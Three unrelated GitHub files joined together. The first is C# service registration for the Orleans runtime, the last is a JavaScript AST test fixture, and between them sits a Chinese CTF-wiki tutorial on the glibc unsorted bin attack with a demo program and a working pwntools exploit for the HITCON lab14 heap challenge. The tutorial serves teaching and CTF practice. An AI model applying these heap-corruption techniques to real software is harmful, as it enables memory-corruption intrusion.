services.TryAddSingleton<SiloProviderRuntime>();
services.TryAddFromExisting<IStreamProviderRuntime, SiloProviderRuntime>();
services.TryAddFromExisting<IProviderRuntime, SiloProviderRuntime>();
services.TryAddSingleton<ImplicitStreamSubscriberTable>();
services.AddSingleton<IConfigureGrainContext, StreamConsumerGrainContextAction>();
services.AddSingleton<IStreamNamespacePredicateProvider, DefaultStreamNamespacePredicateProvider>();
services.AddSingleton<IStreamNamespacePredicateProvider, ConstructorStreamNamespacePredicateProvider>();
services.AddSingletonKeyedService<string, IStreamIdMapper, DefaultStreamIdMapper>(DefaultStreamIdMapper.Name);
services.AddTransientKeyedService<Type, IGrainExtension>(typeof(IStreamConsumerExtension), (sp, _) =>
{
var runtime = sp.GetRequiredService<IStreamProviderRuntime>();
return new StreamConsumerExtension(runtime, RuntimeContext.CurrentGrainContext?.GrainInstance as IStreamSubscriptionObserver);
});
services.TryAddSingleton<MessageFactory>();
services.TryAddSingleton<Factory<Grain, ILogConsistencyProtocolServices>>(FactoryUtility.Create<Grain, ProtocolServices>);
services.TryAddSingleton(FactoryUtility.Create<GrainDirectoryPartition>);
// Placement
services.AddSingleton<IConfigurationValidator, ActivationCountBasedPlacementOptionsValidator>();
services.AddSingleton<PlacementService>();
services.AddSingleton<PlacementStrategyResolver>();
services.AddSingleton<PlacementDirectorResolver>();
services.AddSingleton<IPlacementStrategyResolver, ClientObserverPlacementStrategyResolver>();
// Configure the default placement strategy.
services.TryAddSingleton<PlacementStrategy, RandomPlacement>();
// Placement directors
services.AddPlacementDirector<RandomPlacement, RandomPlacementDirector>();
services.AddPlacementDirector<PreferLocalPlacement, PreferLocalPlacementDirector>();
services.AddPlacementDirector<StatelessWorkerPlacement, StatelessWorkerDirector>();
services.Replace(new ServiceDescriptor(typeof(StatelessWorkerPlacement), sp => new StatelessWorkerPlacement(), ServiceLifetime.Singleton));
services.AddPlacementDirector<ActivationCountBasedPlacement, ActivationCountPlacementDirector>();
services.AddPlacementDirector<HashBasedPlacement, HashBasedPlacementDirector>();
services.AddPlacementDirector<ClientObserversPlacement, ClientObserversPlacementDirector>();
// Activation selectors
services.AddSingletonKeyedService<Type, IActivationSelector, RandomPlacementDirector>(typeof(RandomPlacement));
services.AddSingletonKeyedService<Type, IActivationSelector, StatelessWorkerDirector>(typeof(StatelessWorkerPlacement));
// Versioning
services.TryAddSingleton<VersionSelectorManager>();
services.TryAddSingleton<CachedVersionSelectorManager>();
// Version selector strategy
if (!services.Any(x => x.ServiceType == typeof(IVersionStore)))
{
services.TryAddSingleton<GrainVersionStore>();
services.AddFromExisting<IVersionStore, GrainVersionStore>();
}
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, GrainVersionStore>();
services.AddSingletonNamedService<VersionSelectorStrategy, AllCompatibleVersions>(nameof(AllCompatibleVersions));
services.AddSingletonNamedService<VersionSelectorStrategy, LatestVersion>(nameof(LatestVersion));
services.AddSingletonNamedService<VersionSelectorStrategy, MinimumVersion>(nameof(MinimumVersion));
// Versions selectors
services.AddSingletonKeyedService<Type, IVersionSelector, MinimumVersionSelector>(typeof(MinimumVersion));
services.AddSingletonKeyedService<Type, IVersionSelector, LatestVersionSelector>(typeof(LatestVersion));
services.AddSingletonKeyedService<Type, IVersionSelector, AllCompatibleVersionsSelector>(typeof(AllCompatibleVersions));
// Compatibility
services.TryAddSingleton<CompatibilityDirectorManager>();
// Compatability strategy
services.AddSingletonNamedService<CompatibilityStrategy, AllVersionsCompatible>(nameof(AllVersionsCompatible));
services.AddSingletonNamedService<CompatibilityStrategy, BackwardCompatible>(nameof(BackwardCompatible));
services.AddSingletonNamedService<CompatibilityStrategy, StrictVersionCompatible>(nameof(StrictVersionCompatible));
// Compatability directors
services.AddSingletonKeyedService<Type, ICompatibilityDirector, BackwardCompatilityDirector>(typeof(BackwardCompatible));
services.AddSingletonKeyedService<Type, ICompatibilityDirector, AllVersionsCompatibilityDirector>(typeof(AllVersionsCompatible));
services.AddSingletonKeyedService<Type, ICompatibilityDirector, StrictVersionCompatibilityDirector>(typeof(StrictVersionCompatible));
services.TryAddSingleton<Factory<IGrainRuntime>>(sp => () => sp.GetRequiredService<IGrainRuntime>());
// Grain activation
services.TryAddSingleton<Catalog>();
services.AddFromExisting<IHealthCheckParticipant, Catalog>();
services.TryAddSingleton<GrainContextActivator>();
services.AddSingleton<IConfigureGrainTypeComponents, ConfigureDefaultGrainActivator>();
services.TryAddSingleton<GrainReferenceActivator>();
services.TryAddSingleton<IGrainContextActivatorProvider, ActivationDataActivatorProvider>();
services.TryAddSingleton<IGrainContextAccessor, GrainContextAccessor>();
services.AddSingleton<IncomingRequestMonitor>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, IncomingRequestMonitor>();
services.TryAddSingleton<IStreamSubscriptionManagerAdmin>(sp => new StreamSubscriptionManagerAdmin(sp.GetRequiredService<IStreamProviderRuntime>()));
services.TryAddSingleton<IConsistentRingProvider>(
sp =>
{
// TODO: make this not sux - jbragg
var consistentRingOptions = sp.GetRequiredService<IOptions<ConsistentRingOptions>>().Value;
var siloDetails = sp.GetRequiredService<ILocalSiloDetails>();
var loggerFactory = sp.GetRequiredService<ILoggerFactory>();
if (consistentRingOptions.UseVirtualBucketsConsistentRing)
{
return new VirtualBucketsRingProvider(siloDetails.SiloAddress, loggerFactory, consistentRingOptions.NumVirtualBucketsConsistentRing);
}
return new ConsistentRingProvider(siloDetails.SiloAddress, loggerFactory);
});
services.TryAddSingleton(typeof(IKeyedServiceCollection<,>), typeof(KeyedServiceCollection<,>));
// Serialization
services.TryAddSingleton<SerializationManager>(sp=>ActivatorUtilities.CreateInstance<SerializationManager>(sp,
sp.GetRequiredService<IOptions<SiloMessagingOptions>>().Value.LargeMessageWarningThreshold));
services.TryAddSingleton<ITypeResolver, CachedTypeResolver>();
services.TryAddSingleton<IFieldUtils, FieldUtils>();
services.AddSingleton<BinaryFormatterSerializer>();
services.AddSingleton<BinaryFormatterISerializableSerializer>();
services.AddFromExisting<IKeyedSerializer, BinaryFormatterISerializableSerializer>();
#pragma warning disable CS0618 // Type or member is obsolete
services.AddSingleton<ILBasedSerializer>();
services.AddFromExisting<IKeyedSerializer, ILBasedSerializer>();
#pragma warning restore CS0618 // Type or member is obsolete
// Transactions
services.TryAddSingleton<ITransactionAgent, DisabledTransactionAgent>();
// Application Parts
services.TryAddSingleton<IApplicationPartManager>(applicationPartManager);
applicationPartManager.AddApplicationPart(new AssemblyPart(typeof(RuntimeVersion).Assembly) { IsFrameworkAssembly = true });
applicationPartManager.AddApplicationPart(new AssemblyPart(typeof(Silo).Assembly) { IsFrameworkAssembly = true });
applicationPartManager.AddFeatureProvider(new BuiltInTypesSerializationFeaturePopulator());
applicationPartManager.AddFeatureProvider(new AssemblyAttributeFeatureProvider<GrainInterfaceFeature>());
applicationPartManager.AddFeatureProvider(new AssemblyAttributeFeatureProvider<GrainClassFeature>());
applicationPartManager.AddFeatureProvider(new AssemblyAttributeFeatureProvider<SerializerFeature>());
services.AddTransient<IConfigurationValidator, ApplicationPartValidator>();
// Type metadata
services.AddSingleton<SiloManifestProvider>();
services.AddSingleton<GrainClassMap>(sp => sp.GetRequiredService<SiloManifestProvider>().GrainTypeMap);
services.AddSingleton<GrainTypeResolver>();
services.AddSingleton<IGrainTypeProvider, AttributeGrainTypeProvider>();
services.AddSingleton<IGrainTypeProvider, LegacyGrainTypeResolver>();
services.AddSingleton<GrainPropertiesResolver>();
services.AddSingleton<GrainInterfaceTypeResolver>();
services.AddSingleton<IGrainInterfacePropertiesProvider, AttributeGrainInterfacePropertiesProvider>();
services.AddSingleton<IGrainPropertiesProvider, AttributeGrainPropertiesProvider>();
services.AddSingleton<IGrainPropertiesProvider, AttributeGrainBindingsProvider>();
services.AddSingleton<IGrainInterfacePropertiesProvider, TypeNameGrainPropertiesProvider>();
services.AddSingleton<IGrainPropertiesProvider, TypeNameGrainPropertiesProvider>();
services.AddSingleton<IGrainPropertiesProvider, ImplementedInterfaceProvider>();
services.AddSingleton<ClusterManifestProvider>();
services.AddFromExisting<IClusterManifestProvider, ClusterManifestProvider>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, ClusterManifestProvider>();
services.AddSingleton<TypeConverter>();
//Add default option formatter if none is configured, for options which are required to be configured
services.ConfigureFormatter<SiloOptions>();
services.ConfigureFormatter<SchedulingOptions>();
services.ConfigureFormatter<PerformanceTuningOptions>();
services.ConfigureFormatter<SerializationProviderOptions>();
services.ConfigureFormatter<ConnectionOptions>();
services.ConfigureFormatter<SiloMessagingOptions>();
services.ConfigureFormatter<ClusterMembershipOptions>();
services.ConfigureFormatter<GrainDirectoryOptions>();
services.ConfigureFormatter<ActivationCountBasedPlacementOptions>();
services.ConfigureFormatter<GrainCollectionOptions>();
services.ConfigureFormatter<GrainVersioningOptions>();
services.ConfigureFormatter<ConsistentRingOptions>();
services.ConfigureFormatter<StatisticsOptions>();
services.ConfigureFormatter<TelemetryOptions>();
services.ConfigureFormatter<LoadSheddingOptions>();
services.ConfigureFormatter<EndpointOptions>();
services.ConfigureFormatter<ClusterOptions>();
// This validator needs to construct the IMembershipOracle and the IMembershipTable
// so move it in the end so other validator are called first
services.AddTransient<IConfigurationValidator, ClusterOptionsValidator>();
services.AddTransient<IConfigurationValidator, SiloClusteringValidator>();
services.AddTransient<IConfigurationValidator, DevelopmentClusterMembershipOptionsValidator>();
// Enable hosted client.
services.TryAddSingleton<HostedClient>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, HostedClient>();
services.TryAddSingleton<InternalClusterClient>();
services.TryAddFromExisting<IInternalClusterClient, InternalClusterClient>();
services.TryAddFromExisting<IClusterClient, InternalClusterClient>();
// Enable collection specific Age limits
services.AddOptions<GrainCollectionOptions>()
.Configure<IApplicationPartManager>((options, parts) =>
{
var grainClasses = new GrainClassFeature();
parts.PopulateFeature(grainClasses);
foreach (var grainClass in grainClasses.Classes)
{
var attr = grainClass.ClassType.GetCustomAttribute<CollectionAgeLimitAttribute>();
if (attr != null)
{
var className = TypeUtils.GetFullName(grainClass.ClassType);
options.ClassSpecificCollectionAge[className] = attr.Amount;
}
}
});
// Validate all CollectionAgeLimit values for the right configuration.
services.AddTransient<IConfigurationValidator, GrainCollectionOptionsValidator>();
services.AddTransient<IConfigurationValidator, LoadSheddingValidator>();
services.TryAddSingleton<ITimerManager, TimerManagerImpl>();
// persistent state facet support
services.TryAddSingleton<IPersistentStateFactory, PersistentStateFactory>();
services.TryAddSingleton(typeof(IAttributeToFactoryMapper<PersistentStateAttribute>), typeof(PersistentStateAttributeMapper));
// Networking
services.TryAddSingleton<ConnectionCommon>();
services.TryAddSingleton<ConnectionManager>();
services.AddSingleton<ILifecycleParticipant<ISiloLifecycle>, ConnectionManagerLifecycleAdapter<ISiloLifecycle>>();
services.AddSingleton<ILifecycleParticipant<ISiloLifecycle>, SiloConnectionMaintainer>();
services.AddSingletonKeyedService<object, IConnectionFactory>(
SiloConnectionFactory.ServicesKey,
(sp, key) => ActivatorUtilities.CreateInstance<SocketConnectionFactory>(sp));
services.AddSingletonKeyedService<object, IConnectionListenerFactory>(
SiloConnectionListener.ServicesKey,
(sp, key) => ActivatorUtilities.CreateInstance<SocketConnectionListenerFactory>(sp));
services.AddSingletonKeyedService<object, IConnectionListenerFactory>(
GatewayConnectionListener.ServicesKey,
(sp, key) => ActivatorUtilities.CreateInstance<SocketConnectionListenerFactory>(sp));
services.TryAddTransient<IMessageSerializer>(sp => ActivatorUtilities.CreateInstance<MessageSerializer>(sp,
sp.GetRequiredService<IOptions<SiloMessagingOptions>>().Value.MaxMessageHeaderSize,
sp.GetRequiredService<IOptions<SiloMessagingOptions>>().Value.MaxMessageBodySize));
services.TryAddSingleton<ConnectionFactory, SiloConnectionFactory>();
services.AddSingleton<NetworkingTrace>();
services.AddSingleton<RuntimeMessagingTrace>();
services.AddFromExisting<MessagingTrace, RuntimeMessagingTrace>();
// Use Orleans server.
services.AddSingleton<ILifecycleParticipant<ISiloLifecycle>, SiloConnectionListener>();
services.AddSingleton<ILifecycleParticipant<ISiloLifecycle>, GatewayConnectionListener>();
services.AddSingleton<SocketSchedulers>();
services.AddSingleton<SharedMemoryPool>();
}
}
}
|
{
"pile_set_name": "Github"
}
|
[EN](./unsorted_bin_attack.md) | [ZH](./unsorted_bin_attack-zh.md)
# Unsorted Bin Attack
## 概述
Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
## Unsorted Bin 回顾
在介绍 Unsorted Bin 攻击前,可以先回顾一下 Unsorted Bin 的基本来源以及基本使用情况。
### 基本来源
1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于top chunk的解释,请参考下面的介绍。
3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
### 基本使用情况
1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,**即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取**。
2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。
## 原理
在 [glibc](https://code.woboq.org/userspace/glibc/)/[malloc](https://code.woboq.org/userspace/glibc/malloc/)/[malloc.c](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html) 中的 `_int_malloc ` 有这么一段代码,当将一个 unsorted bin取出的时候,会将 `bck->fd` 的位置写入本 Unsorted Bin 的位置。
```C
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
```
换而言之,如果我们控制了 bk 的值,我们就能将 `unsorted_chunks (av)` 写到任意地址。
这里我以 shellphish 的 how2heap 仓库中的 [unsorted_bin_attack.c](https://github.com/shellphish/how2heap/blob/master/unsorted_bin_attack.c) 为例进行介绍,这里我做一些简单的修改,如下
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);
/*------------VULNERABILITY-----------*/
p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}
```
程序执行后的效果为
```shell
➜ unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack
➜ unsorted_bin_attack git:(master) ✗ ./unsorted_bin_attack
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack:
0x7ffe0d232518: 0
Now, we allocate first normal chunk on the heap at: 0x1fce010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508
Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78
```
这里我们可以使用一个图来描述一下具体发生的流程以及背后的原理。

**初始状态时**
unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。
**执行free(p)**
由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。
**修改p[1]**
经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。
**申请400大小的chunk**
此时,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去unsorted bin中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。
```c
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
/* 显然,bck被修改,并不符合这里的要求*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
....
}
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
```
- victim = unsorted_chunks(av)->bk=p
- bck = victim->bk=p->bk = target addr-16
- unsorted_chunks(av)->bk = bck=target addr-16
- bck->fd = *(target addr -16+16) = unsorted_chunks(av);
**可以看出,在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。**然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。
即修改 target 处的值为 unsorted bin 的链表头部 0x7f1c705ffb78,也就是之前输出的信息。
```shell
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508
Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78
```
这里我们可以看到 unsorted bin attack 确实可以修改任意地址的值,但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大。**而且,需要注意的是,**
这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说
- 我们通过修改循环的次数来使得程序可以执行多次循环。
- 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack了。
## HITCON Training lab14 magic heap
[题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unsorted_bin_attack/hitcontraining_lab14)
这里我们修改一下源程序中的 l33t 函数,以便于可以正常运行。
```c
void l33t() { system("cat ./flag"); }
```
### 基本信息
```shell
➜ hitcontraining_lab14 git:(master) file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9f84548d48f7baa37b9217796c2ced6e6281bb6f, not stripped
➜ hitcontraining_lab14 git:(master) checksec magicheap
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/hitcontraining_lab14/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
可以看出,该程序是一个动态链接的64程序,主要开启了 NX 保护与 Canary 保护。
### 基本功能
程序大概就是自己写的堆管理器,主要有以下功能
1. 创建堆。根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL。
2. 编辑堆。根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小,来修改堆的内容,这里其实就出现了任意长度堆溢出的漏洞。
3. 删除堆。根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。
同时,我们看到,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了。
### 利用
很显然, 我们直接利用 unsorted bin attack 即可。
1. 释放一个堆块到 unsorted bin 中。
2. 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
3. 触发漏洞即可。
代码如下
```Python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./magicheap')
def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
# in order not to merge into top chunk
create_heap(0x20, "dada") # 2
del_heap(1)
magic = 0x6020c0
fd = 0
bk = magic - 0x10
edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, "dada") #trigger unsorted bin attack
r.recvuntil(":")
r.sendline("4869")
r.interactive()
```
## 2016 0CTF zerostorage-待完成
**注:待进一步完成。**
这里我们以 2016 年 0CTF 的 [zerostorage](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unsorted_bin_attack/zerostorage) 为例,进行介绍。
**这个题当时给了服务器的系统版本和内核版本,所以自己可以下一个一模一样的进行调试,这里我们就直接用自己的本地机器调试了。但是在目前的Ubuntu 16.04 中,由于进一步的随机化,导致 libc 加载的位置与程序模块加载的位置之间的相对偏移不再固定,所以 BrieflyX 的策略就无法再次使用,似乎只能用 angelboy 的策略了。**
### 安全性检查
可以看出,该程序开启了所有的保护
```shell
pwndbg> checksec
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/zerostorage/zerostorage'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
```
### 基本功能分析
程序管理在 bss 段的存储空间 storage ,具有插入,删除,合并,删除,查看,枚举,退出功能。这个storage的结构体如下
```text
00000000 Storage struc ; (sizeof=0x18, mappedto_7)
00000000 ; XREF: .bss:storage_list/r
00000000 use dq ?
00000008 size dq ?
00000010 xor_addr dq ?
00000018 Storage ends
```
#### insert-1
基本功能如下
1. 逐一查看 storage 数组,查找第一个未使用的元素,但是这个数组最大也就是32。
2. 读取storage 元素所需要存储内容的长度。
- 如果长度不大于0,直接退出;
- 否则如果申请的字节数小于128,那就设置为128;
- 否则,如果申请的字节数不大于4096,那就设置为对应的数值;
- 否则,设置为4096。
3. 使用 calloc 分配指定长度,注意 calloc 会初始化 chunk 为0。
4. 将 calloc 分配的内存地址与 bss 段的一个内存(初始时刻为一个随机数)进行抑或,得到一个新的内存地址。
5. 根据读取的storage的大小来读入内容。
6. 将对应的storage的大小以及存储内容的地址保存到对应的storage 元素中,并标记该元素处于可用状态。**但是,需要注意的是,这里记录的storage的大小是自己输入的大小!!!**
7. 递增 storage num的数量。
#### update-2
1. 如果没有任何存储,就直接返回。
2. 读入要更新的storage元素的id,如果id大于31或者目前处于不处于使用状态,说明不对,直接返回。
3. 读取**更新后**storage 元素所需要存储内容的长度。
- 如果长度不大于0,直接退出;
- 否则如果申请的字节数小于128,那就设置为128;
- 否则,如果申请的字节数不大于4096,那就设置为对应的数值;
- 否则,设置为4096。
4. 根据 bss 段对应的随机数获取原先storage 存储内容的地址,
5. 如果更新后所需的长度不等于更新前的长度,就使用realloc为其重新分配内存。
6. 再次读取数据,同时更新storage 元素。
#### merge-3
1. 如果正在使用的元素不大于1个,那么无法合并,直接退出即可。
2. 判断storage是否已经满了,如果不满,找出空闲的那一块。
3. 分别读取merge_from的id以及merge_to的id号,并进行相应大小以及使用状态的检测。
4. 根据最初用户输入的大小来计算两个 merge 到一起后所需要的空间,**如果不大于128,那就不会申请新的空间**,否则就申请相应大小的新的空间。
5. 依次将merge_to与merge_from的内容拷贝到相对应的位置。
6. **最后存储merge_from内容的内存地址被释放了,但并没有被置为NULL。同时,存放merge_to内容的内存地址并没有被释放,相应的storage的抑或后的地址只是被置为了NULL。**
**但是需要注意的是,,在merge的时候,并没有检测两个storage的ID是否相同。**
#### delete-4
1. 如果没有存储任何元素,那就直接返回。
2. 读取指定要修改的storage的元素的id,如果 id 大于32,就直接返回。
3. 如果 storage 的对应元素并不在使用状态,那么也同时返回。
4. 之后就是将元素对应的字段分别设置为NULL,并且释放对应的内存。
#### view-5
1. 如果没有存储任何元素,那就直接返回。
2. 读取指定要修改的storage的元素的id,如果 id 大于32,就直接返回。
3. 如果 storage 的对应元素并不在使用状态,那么也同时返回。
4. 输入对应的storage 的内容。
#### list-6
1. 如果没有存储任何元素,那就直接返回。
2. 读取指定要修改的storage的元素的id,如果 id 大于32,就直接返回。
3. 遍历所有正在使用的storage,输入其对应的下标以及对应storage的大小。
### 漏洞确定
通过这么简单的分析,我们可以 基本确定漏洞主要就是集中在insert操作与merge操作中,尤其是当我们merge两个较小size的storage时,会出现一些问题。
我们来具体分析一下,如果我们在insert过程中插入较小的size(比如8)的storage A,那么,当我们进行merge时,假设我们选择merge的两个storage 都为A,那么此时程序会直接把就会直接把A的内容再添加到A的原有内容的后面,然后接着就会把A对应的存储数据部分的内存free掉,但是这并没有什么作用,因为A存储内容的地址被赋给了另外一个storage,当再访问merge 后的 storage B部分的内容时,由于B的存储数据部分的地址其实就是A对应的存储数据的地址,所以打印的就是A的数据部分的内容。但是,我们之前刚刚把A对应的内存释放掉,而A由于不在fast bin范围内,所以只会被放到unsorted bin中(而且此时只有一个),所以此时A的fd和bk都存放的是unsorted bin的一个基地址。
如果我们在merge之前曾经删除过一个storage C,那么在我们merge A后,A就会插在unsorted bin的双向链表的首部,所以其fd则是C对应的地址,bk则是unsorted bin的一个基地址。这样我们就可以直接泄露两个地址。
而且需要注意的是,我们还是可以去修改merge后的B的内容的,所以这其实就是个Use After Free。
### 利用流程
- Unsorted Bin Attack
利用 unsorted bin attack ,修改 global_max_fast 全局变量,由于 global_max_fast 变量为控制最大的Fast chunk的大小,将这里改写为unsorted bin的地址(一般来说是一个很大的正数),就能使之后的chunk都被当作fast chunk,即可进行Fast bin attack。
- Fast Bin Attack
## 题目
### 参考文献
- http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/
- https://github.com/HQ1995/Heap_Senior_Driver/tree/master/0ctf2016/zerostorage
- https://github.com/scwuaptx/CTF/blob/master/2016-writeup/0ctf/zerostorage.py
|
{
"pile_set_name": "Github"
}
|
module.exports = {
"type": "Program",
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 11
}
},
"range": [
1,
12
],
"body": [
{
"type": "ExpressionStatement",
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 11
}
},
"range": [
1,
12
],
"expression": {
"type": "BinaryExpression",
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 10
}
},
"range": [
1,
11
],
"left": {
"type": "Literal",
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 1
}
},
"range": [
1,
2
],
"value": 1,
"raw": "1"
},
"operator": "*",
"right": {
"type": "BinaryExpression",
"loc": {
"start": {
"line": 2,
"column": 4
},
"end": {
"line": 2,
"column": 10
}
},
"range": [
5,
11
],
"left": {
"type": "Literal",
"loc": {
"start": {
"line": 2,
"column": 4
},
"end": {
"line": 2,
"column": 5
}
},
"range": [
5,
6
],
"value": 5,
"raw": "5"
},
"operator": "**",
"right": {
"type": "Literal",
"loc": {
"start": {
"line": 2,
"column": 9
},
"end": {
"line": 2,
"column": 10
}
},
"range": [
10,
11
],
"value": 2,
"raw": "2"
}
}
}
}
],
"sourceType": "script",
"tokens": [
{
"type": "Numeric",
"value": "1",
"loc": {
"start": {
"line": 2,
"column": 0
},
"end": {
"line": 2,
"column": 1
}
},
"range": [
1,
2
]
},
{
"type": "Punctuator",
"value": "*",
"loc": {
"start": {
"line": 2,
"column": 2
},
"end": {
"line": 2,
"column": 3
}
},
"range": [
3,
4
]
},
{
"type": "Numeric",
"value": "5",
"loc": {
"start": {
"line": 2,
"column": 4
},
"end": {
"line": 2,
"column": 5
}
},
"range": [
5,
6
]
},
{
"type": "Punctuator",
"value": "**",
"loc": {
"start": {
"line": 2,
"column": 6
},
"end": {
"line": 2,
"column": 8
}
},
"range": [
7,
9
]
},
{
"type": "Numeric",
"value": "2",
"loc": {
"start": {
"line": 2,
"column": 9
},
"end": {
"line": 2,
"column": 10
}
},
"range": [
10,
11
]
},
{
"type": "Punctuator",
"value": ";",
"loc": {
"start": {
"line": 2,
"column": 10
},
"end": {
"line": 2,
"column": 11
}
},
